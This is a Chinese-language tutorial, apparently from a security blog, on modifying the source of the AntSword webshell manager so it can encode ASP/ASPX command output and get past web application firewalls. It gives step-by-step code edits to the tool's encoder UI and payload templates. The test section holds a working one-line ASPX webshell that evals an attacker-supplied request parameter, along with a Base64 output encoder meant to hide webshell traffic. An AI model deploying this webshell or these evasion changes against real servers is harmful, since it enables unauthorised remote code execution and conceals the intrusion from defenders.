蚁剑改造过WAF系列(二)
字数 1126 2025-08-20 18:18:04
蚁剑改造过WAF系列(二) - ASP/ASPX解码器实现详解
0x00 前言
本文是蚁剑改造系列的第二篇,重点讲解如何为蚁剑添加ASP/ASPX的解码模块,实现对ASP/ASPX加密回显的支持。通过源码级别的修改,使蚁剑能够像处理PHP一样处理ASP/ASPX的加密通信。
0x01 蚁剑源码结构分析
核心目录结构
source/
├── core/
│ ├── asp/ # ASP脚本模板
│ │ ├── index.js
│ │ ├── template/
│ │ │ ├── base.js
│ │ │ ├── command.js
│ │ │ ├── filemanager.js
│ │ │ └── database.js
│ ├── aspx/ # ASPX脚本模板
│ ├── php/ # PHP脚本模板
│ └── base.js # 基础函数库
├── modules/
│ └── settings/
│ └── encoders.js # 编解码器UI管理
└── app.entry.js # 程序入口
关键文件说明
- app.entry.js:程序主入口
- core/base.js:包含参数格式化、HTTP发送接收处理等基础函数
- core/[语言]/index.js:各语言的核心请求处理模块
- core/[语言]/template/:各语言的功能模板(文件管理、命令执行等)
- modules/settings/encoders.js:编解码器的UI管理和事件处理
0x02 解码器UI改造
修改encoders.js
- 在菜单栏中添加ASP/ASPX选项:
// 在toolbar配置中添加ASP/ASPX选项
toolbar: [
{id: 'php', text: 'PHP', icon: 'fa fa-code'},
{id: 'asp', text: 'ASP', icon: 'fa fa-code'},
{id: 'aspx', text: 'ASPX', icon: 'fa fa-code'},
{id: 'jsp', text: 'JSP', icon: 'fa fa-code'},
{id: 'custom', text: '自定义', icon: 'fa fa-code'}
]
- 修改点击事件处理:
// 在toolbar的onClick事件中添加ASP/ASPX处理
case 'asp':
case 'aspx':
this.createEncoder(nValue, 'decoder');
break;
- 绕过不支持的语言检查:
// 修改判断条件,允许ASP/ASPX
if (type === 'decoder' && nValue !== 'php' && nValue !== 'asp' && nValue !== 'aspx') {
antSword.nayiv('暂不支持该脚本类型的解码器!');
return;
}
0x03 解码器核心模板改造
PHP解码器原理分析
PHP解码器工作流程:
- 使用
ob_start()开启输出缓冲 - 所有输出存入缓冲区
- 通过
ob_get_contents()获取缓冲区内容 - 使用
asenc函数对输出内容编码 - 统一输出编码后的内容
ASP/ASPX解码器实现差异
由于ASP/ASPX的缓冲区机制不同:
- ASP使用
response.buffer=true开启缓冲 - ASPX使用
Response.BufferOutput = true - 但无法像PHP那样获取缓冲区内容进行处理
解决方案:在每个输出点(response.write)手动添加asenc包装
ASP核心修改
- index.js修改:
// 添加asencCode处理
let asencCode = this.encoder.asoutput();
asencCode = asencCode.replace(/\{KEY\}/g, this.__key__);
// 在payload中插入asenc函数定义
let payload = [
`Function asenc(str):asenc=${asencCode}:End Function`,
// ...其他payload代码
].join(':');
- 模板文件修改:
在所有response.write处添加asenc包装:
// 原代码
"response.write(\"\"\"& data &\"\"\")"
// 修改后
"response.write(asenc(\"\"\"& data &\"\"\"))"
ASPX核心修改
- index.js修改:
// 添加asencCode处理
let asencCode = this.encoder.asoutput();
asencCode = asencCode.replace(/\{KEY\}/g, this.__key__);
// 在payload中插入asenc函数定义
let payload = [
`private string asenc(string str){${asencCode}}`,
// ...其他payload代码
].join(';');
- 模板文件修改:
使用中间变量统一处理输出:
// 原代码
"Response.Write(data);"
// 修改后
"string antoutput = data; Response.Write(asenc(antoutput));"
解码函数扩展
修改decode_buff函数以支持额外参数:
// 原函数
decode_buff: function(data) {...}
// 修改后
decode_buff: function(data, ext) {...}
在所有调用decode_buff的地方添加ext参数传递。
0x04 解码器测试
ASPX一句话木马示例
<%@ Page Language="Jscript"%>
<%Response.Write(eval(Request.Item["test"],"unsafe"));%>
创建Base64解码器
// ASPX Base64解码器示例
exports.asoutput = () => {
return `return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str));`;
};
exports.decode_buff = (data, ext) => {
return Buffer.from(data, 'base64').toString();
};
测试效果
- 启用解码器前:明文传输
- 启用解码器后:Base64编码传输
0x05 总结
本文详细讲解了如何通过修改蚁剑源码实现ASP/ASPX解码器支持,关键点包括:
- 解码器UI的添加和事件处理
- ASP/ASPX与PHP在缓冲区处理上的差异
- 通过在每个输出点添加
asenc包装实现加密输出 - 解码函数的扩展以支持更多参数
- 完整的测试流程
0x06 参考
- 蚁剑编码器与解码器详解
- ASP官方文档
- ASPX官方文档